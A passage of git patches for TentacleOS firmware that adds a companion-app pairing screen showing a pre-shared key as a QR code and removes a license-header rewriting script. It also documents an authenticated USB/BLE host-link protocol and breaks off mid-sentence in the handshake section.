.../Applications/ui/include/ui_manager.h | 1 + .../companion_pairing/companion_pairing_ui.c | 112 ++++++++++++++++++ .../include/companion_pairing_ui.h | 30 +++++ .../ui/screens/settings/settings_ui.c | 1 + .../components/Applications/ui/ui_manager.c | 5 + 6 files changed, 152 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h diff --git a/firmware_p4/components/Applications/CMakeLists.txt b/firmware_p4/components/Applications/CMakeLists.txt index dddada82a..f3696c847 100644 --- a/firmware_p4/components/Applications/CMakeLists.txt +++ b/firmware_p4/components/Applications/CMakeLists.txt @@ -56,6 +56,7 @@ file(GLOB_RECURSE INTERFACE_SETTINGS_UI_SRCS "ui/screens/interface_settings/*.c" file(GLOB_RECURSE BATTERY_SETTINGS_UI_SRCS "ui/screens/battery_settings/*.c") file(GLOB_RECURSE CONNECTION_SETTINGS_UI_SRCS "ui/screens/connection_settings/*.c") file(GLOB_RECURSE ABOUT_SETTINGS_UI_SRCS "ui/screens/about_settings/*.c") +file(GLOB_RECURSE COMPANION_PAIRING_UI_SRCS "ui/screens/companion_pairing/*.c") file(GLOB_RECURSE THEME_SELECTOR_UI_SRCS "ui/screens/theme_selector/*.c") file(GLOB_RECURSE CONNECT_WIFI_UI_SRCS "ui/screens/connect_wifi/*.c") @@ -107,6 +108,7 @@ idf_component_register(SRCS ${CONNECT_BLUETOOTH_UI_SRCS} ${CONNECT_WIFI_UI_SRCS} ${ABOUT_SETTINGS_UI_SRCS} + ${COMPANION_PAIRING_UI_SRCS} ${THEME_SELECTOR_UI_SRCS} ${MSGBOX_UI_SRCS} ${DROPDOWN_UI_SRCS} @@ -138,6 +140,7 @@ idf_component_register(SRCS "ui/screens/connect_wifi/include" "ui/screens/connect_bluetooth/include" "ui/screens/about_settings/include" + "ui/screens/companion_pairing/include" "ui/screens/theme_selector/include" "ui/screens/badusb/include" "ui/screens/infrared/include" diff --git a/firmware_p4/components/Applications/ui/include/ui_manager.h b/firmware_p4/components/Applications/ui/include/ui_manager.h index b12ab5d57..5dc5591b9 100644 --- a/firmware_p4/components/Applications/ui/include/ui_manager.h +++ b/firmware_p4/components/Applications/ui/include/ui_manager.h @@ -69,6 +69,7 @@ typedef enum { SCREEN_CONNECTION_SETTINGS, SCREEN_CONNECT_WIFI, SCREEN_CONNECT_BLUETOOTH, + SCREEN_COMPANION_PAIRING, SCREEN_ABOUT_SETTINGS, SCREEN_NFC_MENU, SCREEN_FILES, diff --git a/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c b/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c new file mode 100644 index 000000000..7a4de4bfc --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/companion_pairing/companion_pairing_ui.c @@ -0,0 +1,112 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "companion_pairing_ui.h" + +#include + +#include "core/lv_group.h" +#include "libs/qrcode/lv_qrcode.h" + +#include "esp_log.h" + +#include "footer_ui.h" +#include "header_ui.h" +#include "host_link_sec.h" +#include "lv_port_indev.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "COMPANION_PAIRING_UI"; + +#define QR_SIZE 120 +#define QR_ALIGN_Y (-10) +#define TITLE_ALIGN_Y 8 +#define HEX_LABEL_WIDTH 220 +#define HEX_LABEL_ALIGN_Y 78 +#define HINT_ALIGN_Y (-6) + +static lv_obj_t *s_screen = NULL; + +static void screen_back_event_cb(lv_event_t *e); + +void ui_companion_pairing_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_clear_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + header_ui_create(s_screen); + footer_ui_create(s_screen); + + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, "PAIR COMPANION"); + lv_obj_set_style_text_color(title, current_theme.text_main, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, TITLE_ALIGN_Y); + + char psk_hex[HOST_LINK_PSK_HEX_SIZE]; + esp_err_t err = host_link_sec_get_psk_hex(psk_hex, sizeof(psk_hex)); + if (err != ESP_OK) { + ESP_LOGE(TAG, "PSK unavailable: %s", esp_err_to_name(err)); + lv_obj_t *msg = lv_label_create(s_screen); + lv_label_set_text(msg, "Pairing key unavailable"); + lv_obj_set_style_text_color(msg, current_theme.text_main, 0); + lv_obj_center(msg); + } else { + lv_obj_t *qr = lv_qrcode_create(s_screen); + lv_qrcode_set_size(qr, QR_SIZE); + lv_qrcode_set_dark_color(qr, lv_color_black()); + lv_qrcode_set_light_color(qr, lv_color_white()); + lv_qrcode_update(qr, psk_hex, strlen(psk_hex)); + lv_obj_align(qr, LV_ALIGN_CENTER, 0, QR_ALIGN_Y); + // Quiet zone so scanners lock on even against a dark theme. + lv_obj_set_style_border_width(qr, 4, 0); + lv_obj_set_style_border_color(qr, lv_color_white(), 0); + + lv_obj_t *hex = lv_label_create(s_screen); + lv_label_set_long_mode(hex, LV_LABEL_LONG_WRAP); + lv_obj_set_width(hex, HEX_LABEL_WIDTH); + lv_label_set_text(hex, psk_hex); + lv_obj_set_style_text_color(hex, current_theme.text_main, 0); + lv_obj_set_style_text_align(hex, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(hex, LV_ALIGN_CENTER, 0, HEX_LABEL_ALIGN_Y); + } + + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, "< PRESS TO EXIT >"); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, HINT_ALIGN_Y); + + lv_obj_add_event_cb(s_screen, screen_back_event_cb, LV_EVENT_KEY, NULL); + + if (main_group != NULL) { + lv_group_add_obj(main_group, s_screen); + lv_group_focus_obj(s_screen); + } + + lv_screen_load(s_screen); +} + +static void screen_back_event_cb(lv_event_t *e) { + uint32_t key = lv_event_get_key(e); + + if (key == LV_KEY_ESC || key == LV_KEY_LEFT || key == LV_KEY_ENTER) { + ui_switch_screen(SCREEN_SETTINGS); + } +} diff --git a/firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h b/firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h new file mode 100644 index 000000000..d877f23d8 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/companion_pairing/include/companion_pairing_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef COMPANION_PAIRING_UI_H +#define COMPANION_PAIRING_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the companion-app pairing screen (PSK as QR + hex fallback). */ +void ui_companion_pairing_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // COMPANION_PAIRING_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c index 78cbd5258..f0d1c4278 100644 --- a/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c +++ b/firmware_p4/components/Applications/ui/screens/settings/settings_ui.c @@ -39,6 +39,7 @@ static const settings_item_t ITEMS[] = { {"DISPLAY", "/assets/icons/display_menu_icon.bin", SCREEN_DISPLAY_SETTINGS}, {"SOUND", NULL, SCREEN_SOUND_SETTINGS}, {"BATTERY", "/assets/icons/battery_menu_icon.bin", SCREEN_BATTERY_SETTINGS}, + {"PAIRING", NULL, SCREEN_COMPANION_PAIRING}, {"ABOUT", "/assets/icons/about_menu_icon.bin", SCREEN_ABOUT_SETTINGS}, }; #define ITEM_COUNT (sizeof(ITEMS) / sizeof(ITEMS[0])) diff --git a/firmware_p4/components/Applications/ui/ui_manager.c b/firmware_p4/components/Applications/ui/ui_manager.c index 13c3800de..98a8ece13 100644 --- a/firmware_p4/components/Applications/ui/ui_manager.c +++ b/firmware_p4/components/Applications/ui/ui_manager.c @@ -52,6 +52,7 @@ #include "connect_wifi_ui.h" #include "connect_bt_ui.h" #include "about_settings_ui.h" +#include "companion_pairing_ui.h" #include "ui_ble_spam.h" #include "ui_ble_spam_select.h" #include "ui_badusb_menu.h" @@ -253,6 +254,10 @@ void ui_switch_screen(screen_id_t new_screen) { ui_about_settings_open(); break; + case SCREEN_COMPANION_PAIRING: + ui_companion_pairing_open(); + break; + case SCREEN_WIFI_MENU: ui_wifi_menu_open(); break; From 2cf914503c883167fc89277fb7f065f0b38ce695 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:34:18 -0300 Subject: [PATCH 052/572] chore: remove update_license.py --- update_license.py | 157 ---------------------------------------------- 1 file changed, 157 deletions(-) delete mode 100644 update_license.py diff --git a/update_license.py b/update_license.py deleted file mode 100644 index 84ea10541..000000000 --- a/update_license.py +++ /dev/null @@ -1,157 +0,0 @@ -#!/usr/bin/env python3 -import os - -ROOT = os.path.dirname(os.path.abspath(__file__)) - -SKIP = {"build", "managed_components", "lvgl-env"} - -# --- Replacement pairs (old Apache block → new GPL v3 block) ----------------- - -SLASH_OLD = ( - "// Licensed under the Apache License, Version 2.0 (the \"License\");\n" - "// you may not use this file except in compliance with the License.\n" - "// You may obtain a copy of the License at\n" - "//\n" - "// http://www.apache.org/licenses/LICENSE-2.0\n" - "//\n" - "// Unless required by applicable law or agreed to in writing, software\n" - "// distributed under the License is distributed on an \"AS IS\" BASIS,\n" - "// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n" - "// See the License for the specific language governing permissions and\n" - "// limitations under the License." -) - -SLASH_NEW = ( - "// TentacleOS is free software: you can redistribute it and/or modify\n" - "// it under the terms of the GNU General Public License as published by\n" - "// the Free Software Foundation, either version 3 of the License, or\n" - "// (at your option) any later version.\n" - "//\n" - "// TentacleOS is distributed in the hope that it will be useful,\n" - "// but WITHOUT ANY WARRANTY; without even the implied warranty of\n" - "// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n" - "// GNU General Public License for more details.\n" - "//\n" - "// You should have received a copy of the GNU General Public License\n" - "// along with TentacleOS. If not, see ." -) - -HASH_OLD = ( - "# Licensed under the Apache License, Version 2.0 (the \"License\");\n" - "# you may not use this file except in compliance with the License.\n" - "# You may obtain a copy of the License at\n" - "#\n" - "# http://www.apache.org/licenses/LICENSE-2.0\n" - "#\n" - "# Unless required by applicable law or agreed to in writing, software\n" - "# distributed under the License is distributed on an \"AS IS\" BASIS,\n" - "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n" - "# See the License for the specific language governing permissions and\n" - "# limitations under the License." -) - -HASH_NEW = ( - "# TentacleOS is free software: you can redistribute it and/or modify\n" - "# it under the terms of the GNU General Public License as published by\n" - "# the Free Software Foundation, either version 3 of the License, or\n" - "# (at your option) any later version.\n" - "#\n" - "# TentacleOS is distributed in the hope that it will be useful,\n" - "# but WITHOUT ANY WARRANTY; without even the implied warranty of\n" - "# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n" - "# GNU General Public License for more details.\n" - "#\n" - "# You should have received a copy of the GNU General Public License\n" - "# along with TentacleOS. If not, see ." -) - -REPLACEMENTS = [(SLASH_OLD, SLASH_NEW), (HASH_OLD, HASH_NEW)] - -# --- Header to insert in tools/ scripts (no existing copyright) -------------- - -HASH_HEADER = ( - "# Copyright (c) 2025 HIGH CODE LLC\n" - "#\n" - "# TentacleOS is free software: you can redistribute it and/or modify\n" - "# it under the terms of the GNU General Public License as published by\n" - "# the Free Software Foundation, either version 3 of the License, or\n" - "# (at your option) any later version.\n" - "#\n" - "# TentacleOS is distributed in the hope that it will be useful,\n" - "# but WITHOUT ANY WARRANTY; without even the implied warranty of\n" - "# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n" - "# GNU General Public License for more details.\n" - "#\n" - "# You should have received a copy of the GNU General Public License\n" - "# along with TentacleOS. If not, see ." -) - -TOOLS_SKIP = {"LVGLImage.py"} # third-party -TOOLS_EXTS = {".sh", ".py", ".ps1"} - -# ----------------------------------------------------------------------------- - -def replace_in_file(fpath): - with open(fpath, "r", encoding="utf-8", errors="ignore") as f: - content = f.read() - if "Copyright (c) 2025 HIGH CODE LLC" not in content: - return False - new_content = content - for old, new in REPLACEMENTS: - new_content = new_content.replace(old, new) - if new_content == content: - return False - with open(fpath, "w", encoding="utf-8") as f: - f.write(new_content) - return True - - -def insert_header_in_file(fpath): - with open(fpath, "r", encoding="utf-8", errors="ignore") as f: - content = f.read() - if "Copyright" in content: - return False - lines = content.splitlines(keepends=True) - if lines and lines[0].startswith("#!"): - new_content = lines[0] + "\n" + HASH_HEADER + "\n\n" + "".join(lines[1:]) - else: - new_content = HASH_HEADER + "\n\n" + content - with open(fpath, "w", encoding="utf-8") as f: - f.write(new_content) - return True - - -updated = 0 -skipped = 0 - -# Pass 1 — replace Apache → GPL v3 in firmware sources -for subdir in ["firmware_c5/main", "firmware_c5/components", "firmware_p4/main", "firmware_p4/components"]: - for dirpath, dirnames, filenames in os.walk(os.path.join(ROOT, subdir)): - dirnames[:] = [d for d in dirnames if d not in SKIP] - for fname in filenames: - ext = os.path.splitext(fname)[1] - if ext not in {".c", ".h"} and fname != "CMakeLists.txt": - continue - fpath = os.path.join(dirpath, fname) - if replace_in_file(fpath): - print(f" replaced: {os.path.relpath(fpath, ROOT)}") - updated += 1 - else: - skipped += 1 - -# Pass 2 — insert GPL v3 header in tools/ scripts -for dirpath, dirnames, filenames in os.walk(os.path.join(ROOT, "tools")): - dirnames[:] = [d for d in dirnames if d not in SKIP] - for fname in filenames: - if fname in TOOLS_SKIP: - continue - if os.path.splitext(fname)[1] not in TOOLS_EXTS: - continue - fpath = os.path.join(dirpath, fname) - if insert_header_in_file(fpath): - print(f" inserted: {os.path.relpath(fpath, ROOT)}") - updated += 1 - else: - skipped += 1 - -print(f"\n{updated} files updated, {skipped} skipped.") From 4a4e5dcd59192cb6d420409eca398c1fba44db65 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:45:07 -0300 Subject: [PATCH 053/572] docs(host-link): add component READMEs for P4 and C5 --- .../components/Service/host_link/README.md | 49 +++++++++++ .../components/Service/host_link/README.md | 88 +++++++++++++++++++ 2 files changed, 137 insertions(+) create mode 100644 firmware_c5/components/Service/host_link/README.md create mode 100644 firmware_p4/components/Service/host_link/README.md diff --git a/firmware_c5/components/Service/host_link/README.md b/firmware_c5/components/Service/host_link/README.md new file mode 100644 index 000000000..2ddc27cba --- /dev/null +++ b/firmware_c5/components/Service/host_link/README.md @@ -0,0 +1,49 @@ +# Host Link — C5 (BLE relay + log tee) + +The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE +radio). The C5 is a **transparent byte relay**: it ferries opaque host-link frames +to/from the P4 over the SPI bridge and forwards its own logs up. **All +crypto/auth lives on the P4** — the C5 never parses companion payloads. + +Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. See the root +`HOST_LINK_PROTOCOL.md` for the wire spec. + +## Files + +| File | Role | +|------|------| +| `host_link_gatt.c` | NimBLE GATT server (NUS-style): a **write** char (app→device) and a **notify** char (device→app). "Just works" LE Secure Connections (no MITM). Splits notifications by ATT MTU; the app reassembles by frame `LEN`. | +| `host_transport.c` | Chunk/reassembly between BLE and SPI. BLE write → `SPI_ID_HOST_RX` stream (C5→P4). `SPI_ID_HOST_TX` chunks (P4→C5) → reassemble → BLE notify. Reuses `spi_mesh_chunk_hdr_t`. | +| `c5_log.c` | C5 log tee (`esp_log_set_vprintf`): keeps the local dev console, ANSI strip + level, drop-oldest ring, worker → `SPI_ID_SYSTEM_LOG` stream (C5→P4) as `[level u8][utf-8 text]`. | + +## SPI ops (category `SPI_CAT_HOST = 0x06`, in `spi_protocol.h`) + +| Op | Id | Direction | Purpose | +|----|----|-----------|---------| +| `SPI_ID_HOST_BLE_INIT` | `0x06A0` | P4→C5 cmd | start GATT + advertise (`spi_host_init_t { name_prefix }`) | +| `SPI_ID_HOST_BLE_STOP` | `0x06A1` | P4→C5 cmd | stop GATT | +| `SPI_ID_HOST_TX` | `0x06A2` | P4→C5 cmd (push) | device→app bytes → BLE notify | +| `SPI_ID_HOST_RX` | `0x06A3` | C5→P4 stream | app→device bytes (BLE write) | +| `SPI_ID_HOST_STATUS` | `0x06A4` | P4→C5 cmd | poll `spi_host_status_t { ble_connected, ble_subscribed }` | + +`SPI_ID_SYSTEM_LOG` (`0x0007`, C5→P4 stream) carries the forwarded log lines. + +## Dispatch + +`SPI_CAT_HOST` is routed to `bt_dispatcher_execute` (alongside `SPI_CAT_BT` / +`SPI_CAT_MCORE`) in `spi_bridge.c`. The handlers call into `host_transport` / +`host_link_gatt`. + +## Boot wiring (`kernel.c`) + +`c5_log_init()` runs right after `spi_bridge_slave_init()` (it pushes to the SPI +stream). The GATT server is started on demand by the P4 (`SPI_ID_HOST_BLE_INIT`), +not at boot, so it doesn't hog NimBLE from the BLE attack features. + +## Caveats + +- **NimBLE is single-owner**: host-link BLE, MeshCore, and Meshtastic each refuse + to init while another holds NimBLE. +- The C5 log stream is always enabled on this side; the P4 drops the resulting + `LOG` frames when no companion session is active, and the **log-over-BLE** + toggle (P4) gates BLE delivery. Build-validated; **not yet hardware-tested**. diff --git a/firmware_p4/components/Service/host_link/README.md b/firmware_p4/components/Service/host_link/README.md new file mode 100644 index 000000000..d86ee2f7a --- /dev/null +++ b/firmware_p4/components/Service/host_link/README.md @@ -0,0 +1,88 @@ +# Host Link — P4 (companion app link) + +Terminates the companion-app protocol on the **ESP32-P4**. The P4 is the single +brain: it owns the security envelope, dispatches commands (locally or relayed to +the C5 over the SPI bridge), and owns SD/flash storage and device state. The same +behavior is exposed over **two transports** — USB CDC-ACM (P4-native) and BLE +(terminated on the C5, relayed here). Only **one** companion session is active at +a time. + +See the root `HOST_LINK_PROTOCOL.md` for the full wire spec. + +## Frame envelope + +``` +[MAGIC 'H''B'][VER u8][FLAGS u8][COUNTER u32][LEN u16][BODY (LEN bytes)][MAC 16 if FLAGS.auth] +BODY = [type u8][category u8][op u8][payload...] +``` + +- Little-endian. `MAC` = HMAC-SHA256(`K_dir`, bytes `[2 .. 10+LEN)`) truncated to 16 B. +- `COUNTER` is per-direction monotonic (replay detection). +- BODY types: `CMD 0x01`, `RESP 0x02`, `STREAM 0x03`, `LOG 0x04`, + `HELLO 0x10`, `HELLO_ACK 0x11`. +- `category`/`op` reuse `spi_protocol.h` ids via `SPI_CMD(cat, op)` — single + source of truth shared with the C5 and the app. + +## Files + +| File | Role | +|------|------| +| `host_link.c` | Core: reassembly, frame encode/decode, dispatch, single-session arbitration, `emit_frame` (RESP/LOG/STREAM). | +| `host_link_cdc.c` | USB CDC-ACM transport (TinyUSB composite). Claims the session on DTR; drops bytes when no app is attached. | +| `host_link_ble.c` | BLE transport relay: chunks frames to the C5 (`SPI_ID_HOST_TX`), reassembles inbound (`SPI_ID_HOST_RX` stream), drives the C5 GATT on/off and connection status. | +| `host_link_sec.c` | Security: PSK in NVS (auto-generated), `HELLO`/`HELLO_ACK` handshake, HKDF per-direction keys, per-frame MAC verify/sign, counter replay rejection. mbedTLS. | +| `host_link_log.c` | P4 log tee (`esp_log_set_vprintf`): ANSI strip, level, drop-oldest ring, worker → `LOG` frames `source=P4`. | +| `host_link_c5log.c` | Consumes the `SPI_ID_SYSTEM_LOG` stream from the C5 → `LOG` frames `source=C5`. | +| `host_link_files.c` | P4-local `FILE_*` ops over `/assets`, `/littlefs`, `/sdcard` (POSIX VFS), path-sandboxed, chunked. | +| `host_link_state.c` | Device state (battery/versions), the two settings toggles (NVS), and raw console exec (captured stdout → console LOG frames). | +| `host_link_stream.c` | Streaming + heartbeat proxy: starts session ops via `spi_session`, pushes records as `STREAM` frames, app-liveness watchdog, link-loss teardown. | + +## Command routing (in `host_link.c`) + +After authentication, `process_frame` routes each `CMD` by id: + +1. `host_files_is_file_op` → local file ops (bypass the 256 B relay cap). +2. `host_state_is_local_op` → device state / settings / console exec. +3. `category == SPI_CAT_SESSION` → heartbeat/stop handled by the stream proxy + (**not** relayed; the P4 keeps heartbeating the C5 itself). +4. `host_stream_is_session_op` → start a session-based stream (sniffer). +5. otherwise → relayed to the C5 via `spi_bridge_send_command`. + +## Security model + +- Only `HELLO` is accepted before keys exist. Every other inbound frame must be + authenticated (valid MAC, fresh counter) or it is dropped + logged. +- Per-direction HKDF keys (`a2d`/`d2a`) prevent reflection; fresh nonces per + handshake prevent cross-session replay. +- The PSK is provisioned out-of-band: shown as a QR + hex on the P4 pairing + screen (Settings → PAIRING) and via the `hostlink psk` console command. +- BLE bonding is "just works" (LE Secure Connections, no MITM) on top of the PSK + envelope, which is the real trust boundary. + +## Toggles (NVS, default on) + +| Setting | Effect when off | +|---------|-----------------| +| `console_exec` | the app cannot run raw console lines (structured `CMD`s still work) | +| `log_over_ble` | background logs are not sent over BLE; **USB always carries logs**, and console-exec output is always delivered | + +## Boot wiring (`kernel.c`) + +``` +host_link_state_init(); // load toggles +host_link_stream_init(); // streaming proxy +host_link_init(); // core + PSK +host_link_cdc_init(); // USB transport +host_link_log_init(); // P4 log tee +host_link_c5log_init(); // C5 log relay +host_link_ble_init(); // BLE relay infra (advertising on demand: `hostlink ble on`) +``` + +## Status + +All phases implemented and build-validated. **Not yet hardware-tested** — the +dev board's native USB pads are unsoldered and BLE is unexercised. Known runtime +caveats: NimBLE is single-owner (host-link BLE / MeshCore / Meshtastic are +mutually exclusive); the UI sniffer and the companion sniffer share one +`spi_session` (mutually exclusive); large device→app frames split across BLE +notifications and are reassembled by the app via `LEN`. From 295aefc22889bc08ed4b67e787ca83fa32dde4d8 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:57:46 -0300 Subject: [PATCH 054/572] docs: add unified host-link overview and centralize docs under docs/ --- docs/HOST_LINK_PROTOCOL.md | 369 ++++++++++++++++++ docs/SPI_BRIDGE.md | 270 +++++++++++++ docs/host-link.md | 119 ++++++ .../components/Service/host_link/README.md | 8 +- .../components/Service/host_link/README.md | 19 +- 5 files changed, 769 insertions(+), 16 deletions(-) create mode 100644 docs/HOST_LINK_PROTOCOL.md create mode 100644 docs/SPI_BRIDGE.md create mode 100644 docs/host-link.md diff --git a/docs/HOST_LINK_PROTOCOL.md b/docs/HOST_LINK_PROTOCOL.md new file mode 100644 index 000000000..50f88c01d --- /dev/null +++ b/docs/HOST_LINK_PROTOCOL.md @@ -0,0 +1,369 @@ +# Host Link Protocol — Companion App ↔ TentacleOS + +**Status: CONFIRMED v1 (firmware-owned).** +The **firmware is the source of truth** for the wire protocol; the desktop/web +companion app only follows it. This document is the agreed contract — the +`[FW]` decisions from the original proposal are resolved below. A few hardware +identifiers (USB VID/PID, BLE UUIDs) are marked **TBD** and assigned during +implementation; they don't affect the protocol shape. + +Related firmware docs: +- `SPI_BRIDGE.md` — P4 ↔ C5 architecture overview +- `firmware_p4/components/Service/spi_bridge/README.md` — command reference, session lifecycle, stream transport +- `firmware_*/components/Service/spi_bridge/spi_protocol.h` — shared command table (`spi_id_t`) + +--- + +## 1. Goal + +Let the companion app drive the device over **USB and BLE** using the **same +command set the firmware speaks internally** (`spi_id_t` = `Category`+`Op`). We +do not invent a parallel command protocol — the app reuses the existing +commands, stream format, and session lifecycle. The host link only adds what an +external, untrusted connection needs that the internal SPI trace does not: +framing, authentication, push delivery, file transfer, and log/console access. + +--- + +## 2. Architecture — Model A (P4 is the single hub) — CONFIRMED + +``` + USB ┌─────────────┐ SPI (existing bridge) ┌─────────────┐ + Companion app ─────►│ ESP32-P4 │◄───────────────────────►│ ESP32-C5 │ + (desktop / web) │ brain/OS │ │ radios │ + BLE │ SD · USB │ │ WiFi·BT·LoRa│ + ┌────────────│ SPI master │ │ SPI slave │ + │ (relay) └─────────────┘ └─────────────┘ + │ ▲ + └───────────────────┘ BLE terminates on the C5 (it owns the radio); + the C5 RELAYS framed host bytes to the P4. +``` + +- **USB** terminates on the **P4** (P4 owns USB). +- **BLE** terminates on the **C5** (C5 owns the BLE radio); the C5 is a + **transparent byte relay** that ferries companion frames to/from the P4 over + the existing SPI bridge. +- **The P4 is the one brain:** it terminates the security envelope, dispatches + commands (locally or to the C5 over SPI, exactly as today), owns SD storage + and device state. Identical behavior on both transports; one place for crypto. + +**C5 ⇄ P4 relay mechanism:** reuses the **proven Meshtastic/MeshCore phone-bridge +pattern** (BLE-on-C5 → SPI → P4 already ships today). Two SPI ops carry opaque +host bytes: `SPI_ID_HOST_RX` (C5→P4, inbound from app; C5 buffers, raises IRQ, +P4 pulls via the stream path) and `SPI_ID_HOST_TX` (P4→C5, outbound to app; C5 +notifies over BLE). Host frames larger than one SPI frame are chunked by the +firmware. The C5 never parses companion payloads — it only moves bytes; **all +crypto/auth is on the P4.** The app never sees this internal hop. + +--- + +## 3. Transports + +### 3.1 USB — CDC-ACM (dedicated) +- A dedicated **CDC-ACM** interface in the P4's TinyUSB composite (alongside the + existing BadUSB HID). The raw developer console (`idf.py monitor`) stays on the + **USB-Serial-JTAG**, so dev logs and the companion link don't collide. +- Bidirectional, framed: app→device = `CMD`; device→app = `RESP`/`STREAM`/`LOG`. +- **TBD:** VID/PID for auto-detect. + +### 3.2 BLE — GATT companion service (on the C5) +- A GATT service with a **write** characteristic (app→device) and a **notify** + characteristic (device→app). Frames larger than the MTU span multiple + notifications and are reassembled by `LEN`. +- **TBD:** service/characteristic UUIDs, advertised name / scan-match, target + MTU, bonding requirement (LE Secure Connections recommended on top of the PSK). + +### 3.3 Single companion session +Only **one** companion connection is active at a time. While one app is +connected (and authenticated), the device **rejects** a second connection on +either transport. + +--- + +## 4. What we REUSE from the SPI bridge (unchanged) + +- **Command identity:** `Category` + `Op` → `spi_id_t` (`SPI_CMD(cat, op)`). Same + IDs as `spi_protocol.h`. +- **Message types:** `CMD 0x01`, `RESP 0x02`, `STREAM 0x03` (host link adds `LOG`). +- **Response status:** `RESP` payload byte 0 = `spi_status_t` (`OK 0`, `BUSY 1`, + `ERROR 2`, `UNSUPPORTED 3`, `INVALID_ARG 4`). +- **Stream record layout:** `[u16 batch_len]` then records `[u16 op][u8 len][payload]`, + payload carrying `spi_stream_meta_t { session_id, seq }` + op data. +- **Generic data pipe** for list results: `SPI_ID_SYSTEM_DATA` (`0xFFFF` count, + `0..N-1` item, `0xEEEE` stats, `0xDDDD` deauth counter). +- **Session lifecycle:** random 32-bit `session_id`, heartbeat (2 s) + watchdog + (5 s) → `SPI_ID_SESSION_LOST`, backpressure window (64), `SPI_ID_SESSION_STOP`. +- **Version check:** `SPI_ID_SYSTEM_VERSION`. + +**NOT reused:** SPI physical artifacts — fixed 264 B / 2048 B frames, 4-byte DMA +alignment, master-poll. The host link uses variable length-prefixed frames and +**push** delivery. + +--- + +## 5. Host frame format (the envelope) + +Every byte on the USB/BLE link is one host frame. **Little-endian.** + +| Offset | Size | Field | Notes | +|-------:|-----:|-------|-------| +| 0 | 2 | `MAGIC` | `0x48 0x42` ("HB") — frame sync / resync anchor | +| 2 | 1 | `VER` | host-link protocol version (separate from firmware version) | +| 3 | 1 | `FLAGS` | bit0 = authenticated; rest reserved | +| 4 | 4 | `COUNTER` | u32, per-direction monotonic — replay protection | +| 8 | 2 | `LEN` | u16, length of `BODY` | +| 10 | `LEN` | `BODY` | see below | +| 10+LEN | 16 | `MAC` | HMAC-SHA256(`K_dir`, bytes `[2 .. 10+LEN)`) truncated to 128 bits | + +`MAC` is **fixed 16 B**. The P4 **verifies the MAC and checks the counter before +parsing `BODY`**; on failure it drops the frame and logs a security event. The +P4 has hardware SHA acceleration, so per-frame HMAC is cheap even on pcap streams. + +``` +BODY = | type (1B) | category (1B) | op (1B) | payload (...) | + CMD (0x01) payload = command args + RESP (0x02) payload = [status u8][data...] + STREAM (0x03) payload = [u16 batch_len][record]... (record = [u16 op][u8 len][meta+data]) + LOG (0x04) payload = [source u8][level u8][utf-8 text] (see §7) +``` + +Pre-auth handshake frames (`HELLO` / `HELLO_ACK`, §6) travel with +`FLAGS.authenticated = 0` and are the only frames accepted before keys exist. + +**Reassembly:** sync on `MAGIC`, read the 10-byte header for `LEN`, accumulate +`LEN + 16` more bytes. + +--- + +## 6. Security + +The internal SPI trace is trusted; **USB and especially BLE are not.** The device +drives real RF/USB attack hardware, so command authenticity + replay protection +are mandatory. + +### 6.1 Handshake (on every connect) +Dedicated pre-auth frames (unauthenticated): +1. App → device: `HELLO { host_ver, client_nonce[16] }`. +2. Device → app: `HELLO_ACK { host_ver, server_nonce[16], device_id, mac_psk }` + where `mac_psk = HMAC(PSK, client_nonce || server_nonce)` (proves the 